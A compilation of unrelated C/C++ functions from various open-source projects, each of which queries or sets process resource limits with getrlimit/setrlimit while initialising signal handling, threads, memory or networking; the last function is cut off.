static int gen_init(void) { struct rlimit reslimit; struct sigaction n_hand; struct sigaction o_hand; /* * Really needed to handle large archives. We can run out of memory for * internal tables really fast when we have a whole lot of files... */ if (getrlimit(RLIMIT_DATA , &reslimit) == 0){ reslimit.rlim_cur = reslimit.rlim_max; (void)setrlimit(RLIMIT_DATA , &reslimit); } /* * should file size limits be waived? if the os limits us, this is * needed if we want to write a large archive */ if (getrlimit(RLIMIT_FSIZE , &reslimit) == 0){ reslimit.rlim_cur = reslimit.rlim_max; (void)setrlimit(RLIMIT_FSIZE , &reslimit); } /* * increase the size the stack can grow to */ if (getrlimit(RLIMIT_STACK , &reslimit) == 0){ reslimit.rlim_cur = reslimit.rlim_max; (void)setrlimit(RLIMIT_STACK , &reslimit); } /* * not really needed, but doesn't hurt */ if (getrlimit(RLIMIT_RSS , &reslimit) == 0){ reslimit.rlim_cur = reslimit.rlim_max; (void)setrlimit(RLIMIT_RSS , &reslimit); } /* * signal handling to reset stored directory times and modes. Since * we deal with broken pipes via failed writes we ignore it. We also * deal with any file size limit thorough failed writes. Cpu time * limits are caught and a cleanup is forced. */ if ((sigemptyset(&s_mask) < 0) || (sigaddset(&s_mask, SIGTERM) < 0) || (sigaddset(&s_mask,SIGINT) < 0)||(sigaddset(&s_mask,SIGHUP) < 0) || (sigaddset(&s_mask,SIGPIPE) < 0)||(sigaddset(&s_mask,SIGQUIT)<0) || (sigaddset(&s_mask,SIGXCPU) < 0)||(sigaddset(&s_mask,SIGXFSZ)<0)) { paxwarn(1, "Unable to set up signal mask"); return(-1); } memset(&n_hand, 0, sizeof n_hand); n_hand.sa_mask = s_mask; n_hand.sa_flags = 0; n_hand.sa_handler = sig_cleanup; if ((sigaction(SIGHUP, &n_hand, &o_hand) < 0) && (o_hand.sa_handler == SIG_IGN) && (sigaction(SIGHUP, &o_hand, &o_hand) < 0)) goto out; if ((sigaction(SIGTERM, &n_hand, &o_hand) < 0) && (o_hand.sa_handler == SIG_IGN) && (sigaction(SIGTERM, &o_hand, &o_hand) < 0)) goto out; if ((sigaction(SIGINT, &n_hand, &o_hand) < 0) && (o_hand.sa_handler == SIG_IGN) && (sigaction(SIGINT, &o_hand, &o_hand) < 0)) goto out; if ((sigaction(SIGQUIT, &n_hand, &o_hand) < 0) && (o_hand.sa_handler == SIG_IGN) && (sigaction(SIGQUIT, &o_hand, &o_hand) < 0)) goto out; if ((sigaction(SIGXCPU, &n_hand, &o_hand) < 0) && (o_hand.sa_handler == SIG_IGN) && (sigaction(SIGXCPU, &o_hand, &o_hand) < 0)) goto out; n_hand.sa_handler = SIG_IGN; if ((sigaction(SIGPIPE, &n_hand, &o_hand) < 0) || (sigaction(SIGXFSZ, &n_hand, &o_hand) < 0)) goto out; return(0); out: syswarn(1, errno, "Unable to set up signal handler"); return(-1); }
int main(int argc, char *argv[]) { struct netconfig *nconf; void *nc_handle; /* Net config handle */ struct rlimit rl; int maxrec = RPC_MAXDATASIZE; parseargs(argc, argv); /* Check that another rpcbind isn't already running. */ if ((rpcbindlockfd = (open(RPCBINDDLOCK, O_RDONLY|O_CREAT, 0444))) == -1) err(1, "%s", RPCBINDDLOCK); if(flock(rpcbindlockfd, LOCK_EX|LOCK_NB) == -1 && errno == EWOULDBLOCK) errx(1, "another rpcbind is already running. Aborting"); getrlimit(RLIMIT_NOFILE, &rl); if (rl.rlim_cur < 128) { if (rl.rlim_max <= 128) rl.rlim_cur = rl.rlim_max; else rl.rlim_cur = 128; setrlimit(RLIMIT_NOFILE, &rl); } openlog("rpcbind", LOG_CONS, LOG_DAEMON); if (geteuid()) { /* This command allowed only to root */ fprintf(stderr, "Sorry. You are not superuser\n"); exit(1); } /* * Make sure we use the local service file * for service lookkups */ __nss_configure_lookup("services", "files"); nc_handle = setnetconfig(); /* open netconfig file */ if (nc_handle == NULL) { syslog(LOG_ERR, "could not read /etc/netconfig"); exit(1); } nconf = getnetconfigent("local"); if (nconf == NULL) nconf = getnetconfigent("unix"); if (nconf == NULL) { syslog(LOG_ERR, "%s: can't find local transport\n", argv[0]); exit(1); } rpc_control(RPC_SVC_CONNMAXREC_SET, &maxrec); init_transport(nconf); while ((nconf = getnetconfig(nc_handle))) { if (nconf->nc_flag & NC_VISIBLE) init_transport(nconf); } endnetconfig(nc_handle); #ifdef PORTMAP if (!udptrans) udptrans = ""; if (!tcptrans) tcptrans = ""; #endif /* catch the usual termination signals for graceful exit */ (void) signal(SIGCHLD, reap); (void) signal(SIGINT, terminate); (void) signal(SIGTERM, terminate); (void) signal(SIGQUIT, terminate); /* ignore others that could get sent */ (void) signal(SIGPIPE, SIG_IGN); (void) signal(SIGHUP, SIG_IGN); (void) signal(SIGUSR1, SIG_IGN); (void) signal(SIGUSR2, SIG_IGN); if (debugging) { #ifdef RPCBIND_DEBUG printf("rpcbind debugging enabled."); if (doabort) { printf(" Will abort on errors!\n"); } else { printf("\n"); } #endif } else { if (daemon(0, 0)) err(1, "fork failed"); } if (runasdaemon || rpcbinduser) { struct passwd *p; char *id = runasdaemon ? RUN_AS : rpcbinduser; /* * Make sure we use the local password file * for these lookups. */ __nss_configure_lookup("passwd", "files"); if((p = getpwnam(id)) == NULL) { syslog(LOG_ERR, "cannot get uid of '%s': %m", id); exit(1); } if (setgid(p->pw_gid) == -1) { syslog(LOG_ERR, "setgid to '%s' (%d) failed: %m", id, p->pw_gid); exit(1); } if (setuid(p->pw_uid) == -1) { syslog(LOG_ERR, "setuid to '%s' (%d) failed: %m", id, p->pw_uid); exit(1); } } #ifdef WARMSTART if (warmstart) { read_warmstart(); } #endif network_init(); my_svc_run(); syslog(LOG_ERR, "svc_run returned unexpectedly"); rpcbind_abort(); /* NOTREACHED */ return 0; }
void InstallSignalHandlers(const char *ProgramName) { PL_strncpy(_progname,ProgramName, (sizeof(_progname)-1) ); const char *gdbSleep = PR_GetEnv("MOZ_GDB_SLEEP"); if (gdbSleep && *gdbSleep) { unsigned int s; if (1 == sscanf(gdbSleep, "%u", &s)) { _gdb_sleep_duration = s; } } #if defined(CRAWL_STACK_ON_SIGSEGV) if (!getenv("XRE_NO_WINDOWS_CRASH_DIALOG")) { void (*crap_handler)(int) = GeckoProcessType_Default != XRE_GetProcessType() ? child_ah_crap_handler : ah_crap_handler; signal(SIGSEGV, crap_handler); signal(SIGILL, crap_handler); signal(SIGABRT, crap_handler); } #endif // CRAWL_STACK_ON_SIGSEGV #ifdef SA_SIGINFO /* Install a handler for floating point exceptions and disable them if they occur. */ struct sigaction sa, osa; sa.sa_flags = SA_ONSTACK | SA_RESTART | SA_SIGINFO; sa.sa_sigaction = fpehandler; sigemptyset(&sa.sa_mask); sigaction(SIGFPE, &sa, &osa); #endif if (XRE_GetProcessType() == GeckoProcessType_Content) { /* * If the user is debugging a Gecko parent process in gdb and hits ^C to * suspend, a SIGINT signal will be sent to the child. We ignore this signal * so the child isn't killed. */ signal(SIGINT, SIG_IGN); } #if defined(DEBUG) && defined(LINUX) const char *memLimit = PR_GetEnv("MOZ_MEM_LIMIT"); if (memLimit && *memLimit) { long m = atoi(memLimit); m *= (1024*1024); struct rlimit r; r.rlim_cur = m; r.rlim_max = m; setrlimit(RLIMIT_AS, &r); } #endif #if defined(SOLARIS) #define NOFILES 512 // Boost Solaris file descriptors { struct rlimit rl; if (getrlimit(RLIMIT_NOFILE, &rl) == 0) if (rl.rlim_cur < NOFILES) { rl.rlim_cur = NOFILES; if (setrlimit(RLIMIT_NOFILE, &rl) < 0) { perror("setrlimit(RLIMIT_NOFILE)"); fprintf(stderr, "Cannot exceed hard limit for open files"); } #if defined(DEBUG) if (getrlimit(RLIMIT_NOFILE, &rl) == 0) printf("File descriptors set to %d\n", rl.rlim_cur); #endif //DEBUG } } #endif //SOLARIS #if defined(MOZ_WIDGET_GTK) && (GLIB_MAJOR_VERSION > 2 || (GLIB_MAJOR_VERSION == 2 && GLIB_MINOR_VERSION >= 6)) const char *assertString = PR_GetEnv("XPCOM_DEBUG_BREAK"); if (assertString && (!strcmp(assertString, "suspend") || !strcmp(assertString, "stack") || !strcmp(assertString, "abort") || !strcmp(assertString, "trap") || !strcmp(assertString, "break"))) { // Override the default glib logging function so we get stacks for it too. orig_log_func = g_log_set_default_handler(my_glib_log_func, nullptr); } #endif }
void grg_security_monitor(void) { GtkWidget *dialog = gtk_dialog_new_with_buttons(_("Security monitor"), NULL, GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); GdkPixbuf *red = gdk_pixbuf_new_from_xpm_data(red_xpm); GdkPixbuf *yellow = gdk_pixbuf_new_from_xpm_data(yellow_xpm); GdkPixbuf *green = gdk_pixbuf_new_from_xpm_data(green_xpm); struct rlimit *rl = (struct rlimit *) grg_malloc(sizeof(struct rlimit)); if (!geteuid() || !getegid()) { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Running without root privileges"), red); } else { if (!getuid() || !getgid()) { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Running without root privileges"), yellow); } else { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Running without root privileges"), green); } } getrlimit(RLIMIT_CORE, rl); if (rl->rlim_cur || rl->rlim_max) { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Memory protection from core dumps"), red); } else { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Memory protection from core dumps"), green); } g_free(rl); #ifdef HAVE_MLOCKALL // the pwd isn't stored in cleartext anyway if (mem_safe) { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Memory protection from swap writings"), green); } else { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Memory protection from swap writings"), yellow); } #endif if (ptrace_safe) { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Memory protection from ptrace spying"), green); } else { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Memory protection from ptrace spying"), red); } #if defined(ENV_CHECK) && (defined(HAVE_CLEARENV) || defined(HAVE_ENVIRON)) ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Environmental variables validation"), green) #else ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Environmental variables validation"), red) #endif ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("stdout/stdin/stderr validation"), green) if (grg_ctx_get_security_lvl(gctx) == GRG_SEC_PARANOIA) { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Enforced use of /dev/random"), green); } else { ADD_INDICATOR(GTK_DIALOG(dialog)->vbox, _("Enforced use of /dev/random"), yellow); } #ifdef ROOT_FILTER ADD_INDICATOR(GTK_DIALOG(dialog)-> vbox, _("Strict prohibition to root user"), green) #else ADD_INDICATOR(GTK_DIALOG(dialog)-> vbox, _("Strict prohibition to root user"), yellow) #endif gtk_widget_show_all(dialog); gtk_dialog_run(GTK_DIALOG(dialog)); g_object_unref(G_OBJECT(red)); g_object_unref(G_OBJECT(yellow)); g_object_unref(G_OBJECT(green)); gtk_widget_destroy(dialog); }
// ngx_event_core_module模块的init_process()回调函数。 static ngx_int_t ngx_event_process_init(ngx_cycle_t *cycle) { ngx_uint_t m, i; ngx_event_t *rev, *wev; ngx_listening_t *ls; ngx_connection_t *c, *next, *old; ngx_core_conf_t *ccf; ngx_event_conf_t *ecf; ngx_event_module_t *module; ccf = (ngx_core_conf_t *) ngx_get_conf(cycle->conf_ctx, ngx_core_module); ecf = ngx_event_get_conf(cycle->conf_ctx, ngx_event_core_module); if (ccf->master && ccf->worker_processes > 1 && ecf->accept_mutex) { ngx_use_accept_mutex = 1; ngx_accept_mutex_held = 0; ngx_accept_mutex_delay = ecf->accept_mutex_delay; } else { ngx_use_accept_mutex = 0; } #if (NGX_WIN32) /* * disable accept mutex on win32 as it may cause deadlock if * grabbed by a process which can't accept connections */ ngx_use_accept_mutex = 0; #endif #if (NGX_THREADS) ngx_posted_events_mutex = ngx_mutex_init(cycle->log, 0); if (ngx_posted_events_mutex == NULL) { return NGX_ERROR; } #endif // 调用定时器初始化函数。 if (ngx_event_timer_init(cycle->log) == NGX_ERROR) { return NGX_ERROR; } // 调用被选用事件模型的初始化函数。 for (m = 0; ngx_modules[m]; m++) { if (ngx_modules[m]->type != NGX_EVENT_MODULE) { continue; } if (ngx_modules[m]->ctx_index != ecf->use) { continue; } module = ngx_modules[m]->ctx; if (module->actions.init(cycle, ngx_timer_resolution) != NGX_OK) { /* fatal */ exit(2); } break; } #if !(NGX_WIN32) // 如果配置文件里设置timer_resolution字段不为0,修改SIGALRM信号的处理函数为ngx_timer_signal_handler。 // 并设置以timer_resolution为间隔定时向当前进程发送SIGALRM信号。 if (ngx_timer_resolution && !(ngx_event_flags & NGX_USE_TIMER_EVENT)) { struct sigaction sa; struct itimerval itv; ngx_memzero(&sa, sizeof(struct sigaction)); sa.sa_handler = ngx_timer_signal_handler; sigemptyset(&sa.sa_mask); if (sigaction(SIGALRM, &sa, NULL) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "sigaction(SIGALRM) failed"); return NGX_ERROR; } itv.it_interval.tv_sec = ngx_timer_resolution / 1000; itv.it_interval.tv_usec = (ngx_timer_resolution % 1000) * 1000; itv.it_value.tv_sec = ngx_timer_resolution / 1000; itv.it_value.tv_usec = (ngx_timer_resolution % 1000 ) * 1000; if (setitimer(ITIMER_REAL, &itv, NULL) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "setitimer() failed"); } } if (ngx_event_flags & NGX_USE_FD_EVENT) { // epoll事件模型不会进入这个分支。 struct rlimit rlmt; if (getrlimit(RLIMIT_NOFILE, &rlmt) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "getrlimit(RLIMIT_NOFILE) failed"); return NGX_ERROR; } cycle->files_n = (ngx_uint_t) rlmt.rlim_cur; cycle->files = ngx_calloc(sizeof(ngx_connection_t *) * cycle->files_n, cycle->log); if (cycle->files == NULL) { return NGX_ERROR; } } #endif // 预分配ngx_cycle->connections, ngx_cycle->read_events和ngx_cycle->write_events数组, // 并做相应初始化。 cycle->connections = ngx_alloc(sizeof(ngx_connection_t) * cycle->connection_n, cycle->log); if (cycle->connections == NULL) { return NGX_ERROR; } c = cycle->connections; cycle->read_events = ngx_alloc(sizeof(ngx_event_t) * cycle->connection_n, cycle->log); if (cycle->read_events == NULL) { return NGX_ERROR; } rev = cycle->read_events; for (i = 0; i < cycle->connection_n; i++) { rev[i].closed = 1; rev[i].instance = 1; #if (NGX_THREADS) rev[i].lock = &c[i].lock; rev[i].own_lock = &c[i].lock; #endif } cycle->write_events = ngx_alloc(sizeof(ngx_event_t) * cycle->connection_n, cycle->log); if (cycle->write_events == NULL) { return NGX_ERROR; } wev = cycle->write_events; for (i = 0; i < cycle->connection_n; i++) { wev[i].closed = 1; #if (NGX_THREADS) wev[i].lock = &c[i].lock; wev[i].own_lock = &c[i].lock; #endif } i = cycle->connection_n; next = NULL; do { i--; c[i].data = next; c[i].read = &cycle->read_events[i]; c[i].write = &cycle->write_events[i]; c[i].fd = (ngx_socket_t) -1; next = &c[i]; #if (NGX_THREADS) c[i].lock = 0; #endif } while (i); // 初始化ngx_cycle->free_connections链表。 cycle->free_connections = next; cycle->free_connection_n = cycle->connection_n; /* for each listening socket */ // 初始化ngx_cycle->listening数组里的(*ngx_listening_t)->connection指向的对象。 // 并将这个连接对象的读取事件加入到等待事件中。 ls = cycle->listening.elts; for (i = 0; i < cycle->listening.nelts; i++) { c = ngx_get_connection(ls[i].fd, cycle->log); if (c == NULL) { return NGX_ERROR; } c->log = &ls[i].log; c->listening = &ls[i]; ls[i].connection = c; rev = c->read; rev->log = c->log; rev->accept = 1; #if (NGX_HAVE_DEFERRED_ACCEPT) rev->deferred_accept = ls[i].deferred_accept; #endif if (!(ngx_event_flags & NGX_USE_IOCP_EVENT)) { if (ls[i].previous) { /* * delete the old accept events that were bound to * the old cycle read events array */ old = ls[i].previous->connection; if (ngx_del_event(old->read, NGX_READ_EVENT, NGX_CLOSE_EVENT) == NGX_ERROR) { return NGX_ERROR; } old->fd = (ngx_socket_t) -1; } } #if (NGX_WIN32) if (ngx_event_flags & NGX_USE_IOCP_EVENT) { ngx_iocp_conf_t *iocpcf; rev->handler = ngx_event_acceptex; if (ngx_use_accept_mutex) { continue; } if (ngx_add_event(rev, 0, NGX_IOCP_ACCEPT) == NGX_ERROR) { return NGX_ERROR; } ls[i].log.handler = ngx_acceptex_log_error; iocpcf = ngx_event_get_conf(cycle->conf_ctx, ngx_iocp_module); if (ngx_event_post_acceptex(&ls[i], iocpcf->post_acceptex) == NGX_ERROR) { return NGX_ERROR; } } else { rev->handler = ngx_event_accept; if (ngx_use_accept_mutex) { continue; } if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) { return NGX_ERROR; } } #else rev->handler = ngx_event_accept; if (ngx_use_accept_mutex) { continue; } if (ngx_event_flags & NGX_USE_RTSIG_EVENT) { if (ngx_add_conn(c) == NGX_ERROR) { return NGX_ERROR; } } else { if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) { return NGX_ERROR; } } #endif } return NGX_OK; }
/* * Searches for the custom WM_COMMAND command ID and performs action. * Return TRUE if command is proccessed, FALSE otherwise. */ Bool HandleCustomWM_COMMAND (unsigned long hwndIn, int command) { HWND hwnd; int i, j; MENUPARSED *m; DWORD dwExStyle; hwnd = (HWND)hwndIn; if (!command) return FALSE; for (i=0; i<pref.menuItems; i++) { m = &(pref.menu[i]); for (j=0; j<m->menuItems; j++) { if (command==m->menuItem[j].commandID) { /* Match! */ switch(m->menuItem[j].cmd) { #ifdef __CYGWIN__ case CMD_EXEC: if (fork()==0) { struct rlimit rl; unsigned long i; /* Close any open descriptors except for STD* */ getrlimit (RLIMIT_NOFILE, &rl); for (i = STDERR_FILENO+1; i < rl.rlim_cur; i++) close(i); /* Disassociate any TTYs */ setsid(); execl ("/bin/sh", "/bin/sh", "-c", m->menuItem[j].param, NULL); exit (0); } else return TRUE; break; #else case CMD_EXEC: { /* Start process without console window */ STARTUPINFO start; PROCESS_INFORMATION child; memset (&start, 0, sizeof (start)); start.cb = sizeof (start); start.dwFlags = STARTF_USESHOWWINDOW; start.wShowWindow = SW_HIDE; memset (&child, 0, sizeof (child)); if (CreateProcess (NULL, m->menuItem[j].param, NULL, NULL, FALSE, 0, NULL, NULL, &start, &child)) { CloseHandle (child.hThread); CloseHandle (child.hProcess); } else MessageBox(NULL, m->menuItem[j].param, "Mingrc Exec Command Error!", MB_OK | MB_ICONEXCLAMATION); } return TRUE; #endif case CMD_ALWAYSONTOP: if (!hwnd) return FALSE; /* Get extended window style */ dwExStyle = GetWindowLongPtr(hwnd, GWL_EXSTYLE); /* Handle topmost windows */ if (dwExStyle & WS_EX_TOPMOST) SetWindowPos (hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); else SetWindowPos (hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); #if XWIN_MULTIWINDOW /* Reflect the changed Z order */ winReorderWindowsMultiWindow (); #endif return TRUE; case CMD_RELOAD: ReloadPrefs(); return TRUE; default: return FALSE; } } /* match */ } /* for j */ } /* for i */ return FALSE; }
void chpl_thread_init(void(*threadBeginFn)(void*), void(*threadEndFn)(void)) { // // This threading layer does not have any inherent limit on the number // of threads. Its limit is the lesser of any limits imposed by the // comm layer and the user. // { uint32_t lim; if ((lim = chpl_task_getenvNumThreadsPerLocale()) > 0) maxThreads = lim; else if ((lim = chpl_comm_getMaxThreads()) > 0) maxThreads = lim; } // // Count the main thread on locale 0 as already existing, since it // is (or soon will be) running the main program. // if (chpl_nodeID == 0) numThreads = 1; // // If a value was specified for the call stack size config const, use // that (rounded up to a whole number of pages) to set the system and // pthread stack limits. // if (pthread_attr_init(&thread_attributes) != 0) chpl_internal_error("pthread_attr_init() failed"); // // If a value was specified for the call stack size, use that (rounded // up to a whole number of pages) to set the system and pthread stack // limits. This will in turn limit the stack for any task hosted by // either the main process or a pthread. // { size_t css; size_t pagesize = (size_t) sysconf(_SC_PAGESIZE); struct rlimit rlim; if ((css = chpl_task_getEnvCallStackSize()) == 0) css = chpl_task_getDefaultCallStackSize(); assert(css > 0); css = (css + pagesize - 1) & ~(pagesize - 1); if (getrlimit(RLIMIT_STACK, &rlim) != 0) chpl_internal_error("getrlimit() failed"); if (rlim.rlim_max != RLIM_INFINITY && css > rlim.rlim_max) { char warning[128]; sprintf(warning, "call stack size capped at %lu\n", (unsigned long)rlim.rlim_max); chpl_warning(warning, 0, NULL); css = rlim.rlim_max; } rlim.rlim_cur = css; #ifndef __CYGWIN__ // // Cygwin can't do setrlimit(RLIMIT_STACK). // if (setrlimit(RLIMIT_STACK, &rlim) != 0) chpl_internal_error("setrlimit() failed"); #endif if (pthread_attr_setstacksize(&thread_attributes, css) != 0) chpl_internal_error("pthread_attr_setstacksize() failed"); } if (pthread_attr_getstacksize(&thread_attributes, &threadCallStackSize) != 0) chpl_internal_error("pthread_attr_getstacksize() failed"); saved_threadBeginFn = threadBeginFn; saved_threadEndFn = threadEndFn; CHPL_TLS_INIT(chpl_thread_id); CHPL_TLS_SET(chpl_thread_id, (intptr_t) --curr_thread_id); CHPL_TLS_INIT(chpl_thread_data); pthread_mutex_init(&thread_info_lock, NULL); pthread_mutex_init(&numThreadsLock, NULL); // // This is something of a hack, but it makes us a bit more resilient // if we're out of memory or near to it at shutdown time. Launch, // cancel, and join with an initial pthread, forcing initialization // needed by any of those activities. (In particular we have found // that cancellation needs to dlopen(3) a shared object, which fails // if we are out of memory. Doing it now means that shared object is // already available when we need it later.) // { pthread_t initial_pthread; if (!pthread_create(&initial_pthread, NULL, initial_pthread_func, NULL)) { (void) pthread_cancel(initial_pthread); (void) pthread_join(initial_pthread, NULL); } } }
World* World_New(WorldOptions *inOptions) { #if (_POSIX_MEMLOCK - 0) >= 200112L if (inOptions->mMemoryLocking && inOptions->mRealTime) { bool lock_memory = false; rlimit limit; int failure = getrlimit(RLIMIT_MEMLOCK, &limit); if (failure) scprintf("getrlimit failure\n"); else { if (limit.rlim_cur == RLIM_INFINITY and limit.rlim_max == RLIM_INFINITY) lock_memory = true; else scprintf("memory locking disabled due to resource limiting\n"); if (lock_memory) { if (mlockall(MCL_FUTURE) != -1) scprintf("memory locking enabled.\n"); } } } #endif World *world = 0; try { static bool gLibInitted = false; if (!gLibInitted) { InterfaceTable_Init(); initialize_library(inOptions->mUGensPluginPath); initializeScheduler(); gLibInitted = true; } world = (World*)zalloc(1, sizeof(World)); world->hw = (HiddenWorld*)zalloc(1, sizeof(HiddenWorld)); world->hw->mAllocPool = new AllocPool(malloc, free, inOptions->mRealTimeMemorySize * 1024, 0); world->hw->mQuitProgram = new boost::sync::semaphore(0); world->hw->mTerminating = false; HiddenWorld *hw = world->hw; hw->mGraphDefLib = new HashTable<struct GraphDef, Malloc>(&gMalloc, inOptions->mMaxGraphDefs, false); hw->mNodeLib = new IntHashTable<Node, AllocPool>(hw->mAllocPool, inOptions->mMaxNodes, false); hw->mUsers = (ReplyAddress*)zalloc(inOptions->mMaxLogins, sizeof(ReplyAddress)); hw->mNumUsers = 0; hw->mMaxUsers = inOptions->mMaxLogins; hw->mClientIDs = (uint32*)zalloc(inOptions->mMaxLogins, sizeof(uint32)); for (int i = 0; i<hw->mMaxUsers; i++) { hw->mClientIDs[i] = i; } hw->mClientIDTop = 0; hw->mClientIDdict = new ClientIDDict(); hw->mHiddenID = -8; hw->mRecentID = -8; world->mNumUnits = 0; world->mNumGraphs = 0; world->mNumGroups = 0; world->mBufCounter = 0; world->mBufLength = inOptions->mBufLength; world->mSampleOffset = 0; world->mSubsampleOffset = 0.f; world->mNumAudioBusChannels = inOptions->mNumAudioBusChannels; world->mNumControlBusChannels = inOptions->mNumControlBusChannels; world->mNumInputs = inOptions->mNumInputBusChannels; world->mNumOutputs = inOptions->mNumOutputBusChannels; world->mVerbosity = inOptions->mVerbosity; world->mErrorNotification = 1; // i.e., 0x01 | 0x02 world->mLocalErrorNotification = 0; if (inOptions->mSharedMemoryID) { server_shared_memory_creator::cleanup(inOptions->mSharedMemoryID); hw->mShmem = new server_shared_memory_creator(inOptions->mSharedMemoryID, inOptions->mNumControlBusChannels); world->mControlBus = hw->mShmem->get_control_busses(); } else { hw->mShmem = 0; world->mControlBus = (float*)zalloc(world->mNumControlBusChannels, sizeof(float)); } world->mNumSharedControls = 0; world->mSharedControls = inOptions->mSharedControls; int numsamples = world->mBufLength * world->mNumAudioBusChannels; world->mAudioBus = (float*)zalloc(numsamples, sizeof(float)); world->mAudioBusTouched = (int32*)zalloc(inOptions->mNumAudioBusChannels, sizeof(int32)); world->mControlBusTouched = (int32*)zalloc(inOptions->mNumControlBusChannels, sizeof(int32)); world->mNumSndBufs = inOptions->mNumBuffers; world->mSndBufs = (SndBuf*)zalloc(world->mNumSndBufs, sizeof(SndBuf)); world->mSndBufsNonRealTimeMirror = (SndBuf*)zalloc(world->mNumSndBufs, sizeof(SndBuf)); world->mSndBufUpdates = (SndBufUpdates*)zalloc(world->mNumSndBufs, sizeof(SndBufUpdates)); GroupNodeDef_Init(); int err = Group_New(world, 0, &world->mTopGroup); if (err) throw err; world->mRealTime = inOptions->mRealTime; world->ft = &gInterfaceTable; world->mNumRGens = inOptions->mNumRGens; world->mRGen = new RGen[world->mNumRGens]; for (uint32 i=0; i<world->mNumRGens; ++i) { world->mRGen[i].init(server_timeseed()); } world->mNRTLock = new SC_Lock(); world->mDriverLock = new SC_Lock(); if (inOptions->mPassword) { strncpy(world->hw->mPassword, inOptions->mPassword, 31); world->hw->mPassword[31] = 0; } else { world->hw->mPassword[0] = 0; } #ifdef __APPLE__ world->hw->mInputStreamsEnabled = inOptions->mInputStreamsEnabled; world->hw->mOutputStreamsEnabled = inOptions->mOutputStreamsEnabled; #endif world->hw->mInDeviceName = inOptions->mInDeviceName; world->hw->mOutDeviceName = inOptions->mOutDeviceName; hw->mMaxWireBufs = inOptions->mMaxWireBufs; hw->mWireBufSpace = 0; world->mRendezvous = inOptions->mRendezvous; world->mRestrictedPath = inOptions->mRestrictedPath; sc_SetDenormalFlags(); if (world->mRealTime) { hw->mAudioDriver = SC_NewAudioDriver(world); hw->mAudioDriver->SetPreferredHardwareBufferFrameSize( inOptions->mPreferredHardwareBufferFrameSize ); hw->mAudioDriver->SetPreferredSampleRate( inOptions->mPreferredSampleRate ); if (inOptions->mLoadGraphDefs) { World_LoadGraphDefs(world); } if (!hw->mAudioDriver->Setup()) { scprintf("could not initialize audio.\n"); return 0; } if (!hw->mAudioDriver->Start()) { scprintf("start audio failed.\n"); return 0; } #ifdef __APPLE__ SC::Apple::disableAppNap(); #endif } else { hw->mAudioDriver = 0; } scsynth::startAsioThread(); } catch (std::exception& exc) { scprintf("Exception in World_New: %s\n", exc.what()); World_Cleanup(world,true); return 0; } catch (...) { } return world; }
MagickExport MagickBooleanType ResourceComponentGenesis(void) { char *limit; ssize_t files, pages, pagesize; MagickSizeType memory; /* Set Magick resource limits. */ AcquireSemaphoreInfo(&resource_semaphore); pagesize=GetMagickPageSize(); pages=(-1); #if defined(MAGICKCORE_HAVE_SYSCONF) && defined(_SC_PHYS_PAGES) pages=(ssize_t) sysconf(_SC_PHYS_PAGES); #endif memory=(MagickSizeType) pages*pagesize; if ((pagesize <= 0) || (pages <= 0)) memory=2048UL*1024UL*1024UL; #if defined(PixelCacheThreshold) memory=PixelCacheThreshold; #endif (void) SetMagickResourceLimit(AreaResource,2*memory/sizeof(PixelPacket)); (void) SetMagickResourceLimit(MemoryResource,memory); (void) SetMagickResourceLimit(MapResource,2*memory); limit=GetEnvironmentValue("MAGICK_AREA_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("area"); if (limit != (char *) NULL) { (void) SetMagickResourceLimit(AreaResource,StringToSizeType(limit,100.0)); limit=DestroyString(limit); } limit=GetEnvironmentValue("MAGICK_MEMORY_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("memory"); if (limit != (char *) NULL) { (void) SetMagickResourceLimit(MemoryResource, StringToSizeType(limit,100.0)); limit=DestroyString(limit); } limit=GetEnvironmentValue("MAGICK_MAP_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("map"); if (limit != (char *) NULL) { (void) SetMagickResourceLimit(MapResource,StringToSizeType(limit,100.0)); limit=DestroyString(limit); } limit=GetEnvironmentValue("MAGICK_DISK_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("disk"); if (limit != (char *) NULL) { (void) SetMagickResourceLimit(DiskResource,StringToSizeType(limit,100.0)); limit=DestroyString(limit); } files=(-1); #if defined(MAGICKCORE_HAVE_SYSCONF) && defined(_SC_OPEN_MAX) files=(ssize_t) sysconf(_SC_OPEN_MAX); #endif #if defined(MAGICKCORE_HAVE_GETRLIMIT) && defined(RLIMIT_NOFILE) if (files < 0) { struct rlimit resources; if (getrlimit(RLIMIT_NOFILE,&resources) != -1) files=(ssize_t) resources.rlim_cur; } #endif #if defined(MAGICKCORE_HAVE_GETDTABLESIZE) && defined(MAGICKCORE_POSIX_SUPPORT) if (files < 0) files=(ssize_t) getdtablesize(); #endif if (files < 0) files=64; (void) SetMagickResourceLimit(FileResource,MagickMax((size_t) (3*files/4),64)); limit=GetEnvironmentValue("MAGICK_FILE_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("file"); if (limit != (char *) NULL) { (void) SetMagickResourceLimit(FileResource,StringToSizeType(limit,100.0)); limit=DestroyString(limit); } (void) SetMagickResourceLimit(ThreadResource,GetOpenMPMaximumThreads()); 